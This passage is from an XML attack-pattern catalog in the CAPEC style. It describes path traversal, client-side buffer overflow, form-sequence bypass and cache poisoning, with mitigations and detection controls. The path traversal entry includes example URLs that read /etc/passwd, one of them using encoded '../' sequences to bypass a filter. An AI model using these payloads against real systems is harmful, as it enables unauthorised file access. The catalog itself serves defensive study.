												attacker.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>A list of application user
												interface entry fields is created by the
												attacker.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Success">
												<Outcome_Description>A list of resources accessed by
												the application is created by the
												attacker.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Use CAPTCHA to prevent
												the use of the application by an automated
												tool.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be
												automated.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Attempt variations on input
											parameters:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Possibly using an automated tool, an attacker
												requests variations on the identified inputs. He
												sends parameters that include variations of
												payloads. </Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a list of probe strings as path
												traversal payload. Different strings may be used
												for different platforms. Strings contain relative
												path sequences such as “../”.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record results of manual
												input of relative path traversal probes in known
												URLs.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Attackers can access arbitrary files.
												</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>The output of pages includes some error
												messages if file does not exist.</Text>
												</Indicator_Description>
												<Environments>env-Web env-CommProtocol
												env-ClientServer</Environments>
											</Indicator>
											<Indicator ID="3" type="Negative">
												<Indicator_Description>
												<Text>All context-sensitive characters are
												consistently re-encoded before being sent to the
												web browser.</Text>
												</Indicator_Description>
												<Environments>env-Web env-CommProtocol
												env-ClientServer</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker's file path probe
												string is being reflected verbatim at some point
												in the web site (if not on the same page).
												</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>An error message or exception.
												Note that the system may leak information to the
												attackers in the error messages, e.g. “File Not
												Found”, “File Access Restricted”.
												</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor input to web
												servers, application servers, and other HTTP
												infrastructure (e.g., load balancers). Alert on
												standard relative path traversal probes. Use the
												same vulnerability catalogs that hackers
												use.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating path
												traversal probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Access, modify, or execute arbitrary
											files.</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>An attacker injects path traversal syntax into
												identified vulnerable inputs to cause inappropriate
												reading, writing or execution of files. An attacker
												could be able to read directories or files which
												they are normally not allowed to read. The attacker
												could also access data outside the web document
												root, or include scripts, source code and other
												kinds of files from external websites. Once the
												attacker accesses arbitrary files, he/she could also
												modify files. In particular situations, the attacker
												could also execute arbitrary code or system
												commands.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Manipulate file and its path by injecting
												relative path sequences (e.g. “../”).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Download files, modify files, or try to
												execute shell commands (with binary files).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker accesses the
												content of restricted files.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>Apply appropriate input
												validation to filter all user-controllable input
												of path syntax.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for unintended file access, modification and
												execution.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of path
												syntax</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target application must accept a string as user input, fail to
						sanitize combinations of characters in the input that have a special meaning
						in the context of path navigation, and insert the user-supplied string into
						path navigation commands.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>The attacker uses relative path traversal to access files in the
							application. This is an example of accessing user’s password
							file.</Text>
						<Text>http://www.example.com/getProfile.jsp?filename=../../../../etc/passwd</Text>
						<Text>However, the target application employs regular expressions to make
							sure no relative path sequences are being passed through the application
							to the web page. The application would replace all matches from this
							regexp with the empty string. </Text>
						<Text>Then an attacker creates special payloads to by pass this filter:
							http://www.example.com/getProfile.jsp?filename=%2e%2e/%2e%2e/%2e%2e/%2e%2e
							/etc/passwd When the application gets this input string, it will be the
							desired vector by the attacker. </Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text> To inject the malicious payload in a web page</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To bypass non trivial filters in the application</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Input validation. Assume that user inputs are malicious. Utilize
						strict type, character, and encoding enforcement</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform input validation for all remote content, including
						remote and user-generated content.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Validate user input by only accepting known good. Ensure
						all content that is delivered to client is sanitized against an acceptable
						content specification -- whitelisting approach.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Prefer working without user input when using file system
						calls</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Use indirect references rather than actual file
						names.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Use possible permissions on file access when developing
						and deploying web applications.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: instability</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>User-controllable input into web parameters or post variables.</Text>
			</Injection_Vector>
			<Payload>
				<Text>variations on "../../" characters and encoded varieties.</Text>
			</Payload>
			<Activation_Zone>
				<Text>Web server processing of GET or POST content.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text> • Attackers may create or overwrite critical files. </Text>
					<Text> • Execute unauthorized code or commands. </Text>
					<Text> • Information Leakage of applications that attackers may read
						confidential files. </Text>
					<Text> • Attackers may delete or corrupt some critical files or data that cause
						denial of service to legal users. </Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>22<!--Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2010-0467</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>Newsletter module allows reading arbitrary files using "../"
							sequences.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2009-4581</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>PHP program allows arbitrary code execution using ".." in filenames
							that are fed to the include() function.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>126<!--Path Traversal -->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>154<!--Resource Location Attacks -->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>Special characters in user-controllable input must be escaped before use
						by the application. Custom error pages must be used to handle exceptions
						such that they do not reveal any information about the architecture of the
						application. </Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Title>Path Traversal</Reference_Title>
					<Reference_Publisher>OWASP</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
					<Reference_Link> http://www.owasp.org/index.php/Path_Traversal</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>Testing for Path Traversal (OWASP-AZ-001)</Reference_Title>
					<Reference_Publisher>OWASP Testing Guide v3.</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>https://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Robert Auger</Reference_Author>
					<Reference_Title>Path Traversal</Reference_Title>
					<Reference_Publisher>WASC Threat Classification 2.0</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/w/page/13246952/Path-Traversal</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Sean Barnum</Submitter>
						<Submitter_Organization>Cigital</Submitter_Organization>
						<Submission_Date>2007-02-10</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2011-07-12</Modification_Date>
						<Modification_Comment>Performed a review of content and added additional
							content</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Tom Stracener</Modifier>
						<Modifier_Organization>Contract Security Engineer
							(MITRE)</Modifier_Organization>
						<Modification_Date>20011-07-19</Modification_Date>
						<Modification_Comment>Review and Revision of Content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="14" Name="Client-side Injection-induced Buffer Overflow"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This type of attack exploits a buffer overflow vulnerability in targeted
						client software through injection of malicious content from a custom-built
						hostile service.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker creates a custom hostile
												service</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker acquires information about the kind
												of client attaching to her hostile service to
												determine if it contains an exploitable buffer
												overflow vulnerability.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker intentionally feeds malicious data to
												the client to exploit the buffer overflow
												vulnerability that she has uncovered.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="4">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker leverages the exploit to execute
												arbitrary code or to cause a denial of
												service.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted client software communicates with an external server.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The targeted client software has a buffer oveflow vulnerability.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text_Title>Attack Example: Buffer Overflow in Internet Explorer 4.0 Via
							EMBED Tag</Text_Title>
						<Text>Authors often use &lt;EMBED&gt; tags in HTML documents. For
							example</Text>
						<Block>
							<Code>&lt;EMBED TYPE="audio/midi" SRC="/path/file.mid"
								AUTOSTART="true"&gt;</Code>
						</Block>
						<Text>If an attacker supplies an overly long path in the SRC= directive, the
							mshtml.dll component will suffer a buffer overflow. This is a standard
							example of content in a Web page being directed to exploit a faulty
							module in the system. There are potentially thousands of different ways
							data can propagate into a given system, thus these kinds of attacks will
							continue to be found in the wild.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To achieve a denial of service, an attacker can simply overflow a
							buffer by inserting a long string into an attacker-modifiable injection
							vector.</Text>
						<Text>High : Exploiting a buffer overflow to inject malicious code into the
							stack of a software system or even the heap requires a more in-depth
							knowledge and higher skill level.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>The server may look like a valid server, but in reality it may be a
							hostile server aimed at fooling the client software. For instance the
							server can use honey pots and get the client to download malicious
							code.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>Once engaged with the client, the hostile server may attempt to scan
							the client's host for open ports and potential vulnerabilities in the
							client software.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>The hostile server may also attempt to install and run malicious code
							on the client software. That malicious code can be used to scan the
							client software for buffer overflow.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>An example of indicator is when the client software crashes after
							executing code downloaded from a hostile server.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>The client software should not install untrusted code from a non
						authenticated server.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>The client software should have the latest patches and should be audited
						for vulnerabilities before being used to communicate with potentially
						hostile servers.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Perform input validation for length of buffer inputs.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use a language or compiler that performs automatic bounds checking.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use an abstraction library to abstract away risky APIs. Not a complete
						solution.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Compiler-based canary mechanisms such as StackGuard, ProPolice and the
						Microsoft Visual Studio /GS flag. Unless this provides automatic bounds
						checking, it is not a complete solution.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Ensure all buffer uses are consistently bounds-checked.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use OS-level preventative functionality. Not a complete solution.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload>
				<Text>Attacker-supplied data potentially containing malicious code.</Text>
			</Payload>
			<Activation_Zone>
				<Text>When the function returns control to the main program, it jumps to the return
					address portion of the stack frame. Unfortunately that return address may have
					been overwritten by the overflowed buffer and the address may contain a call to
					a privileged command or to malicious code.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>The most common are remote code execution or denial of service.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>120<!--Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>353<!--Missing Support for Integrity Check--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>118<!--Improper Access of Indexable Resource ('Range Error')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>119<!--Improper Restriction of Operations within the Bounds of a Memory Buffer--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>680<!--Integer Overflow to Buffer Overflow--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>713<!--OWASP Top Ten 2007 Category A2 - Injection Flaws--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>8<!--Buffer Overflow in an API Call--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>100<!--Overflow Buffers--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to Trust</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Defense in Depth</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>Other</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Buffer Errors</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-03-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eric Dalci</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-13</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-05</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Related
							Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="140" Name="Bypassing of Intermediate Forms in Multiple-Form Sets"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>Some web applications require users to submit information through an
						ordered sequence of web forms. This is often done if there is a very large
						amount of information being collected or if information on earlier forms is
						used to pre-populate fields or determine which additional information the
						application needs to collect. An attacker who knows the names of the various
						forms in the sequence may be able to explicitly type in the name of a later
						form and navigate to it without first going through the previous forms. This
						can result in incomplete collection of information, incorrect assumptions
						about the information submitted by the attacker, or other problems that can
						impair the functioning of the application.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target must collect information from the user in a series of forms
						where each form has its own URL that the attacker can anticipate and the
						application must fail to detect attempts to access intermediate forms
						without first filling out the previous forms.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>No special resources are required for this attack.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>74<!--Manipulating User State--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="141" Name="Cache Poisoning" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits the functionality of cache technologies to cause
						specific data to be cached that aids the attackers’ objectives. This
						describes any attack whereby an attacker places incorrect or harmful
						material in cache. The targeted cache can be an application's cache (e.g. a
						web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the
						cache is refreshed, most applications or clients will treat the corrupted
						cache value as valid. This can lead to a wide range of exploits including
						redirecting web browsers towards sites that install malware and repeatedly
						incorrect calculations based on the incorrect value.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Identify and explore
											caches</Attack_Step_Title>
										<Attack_Step_Description>
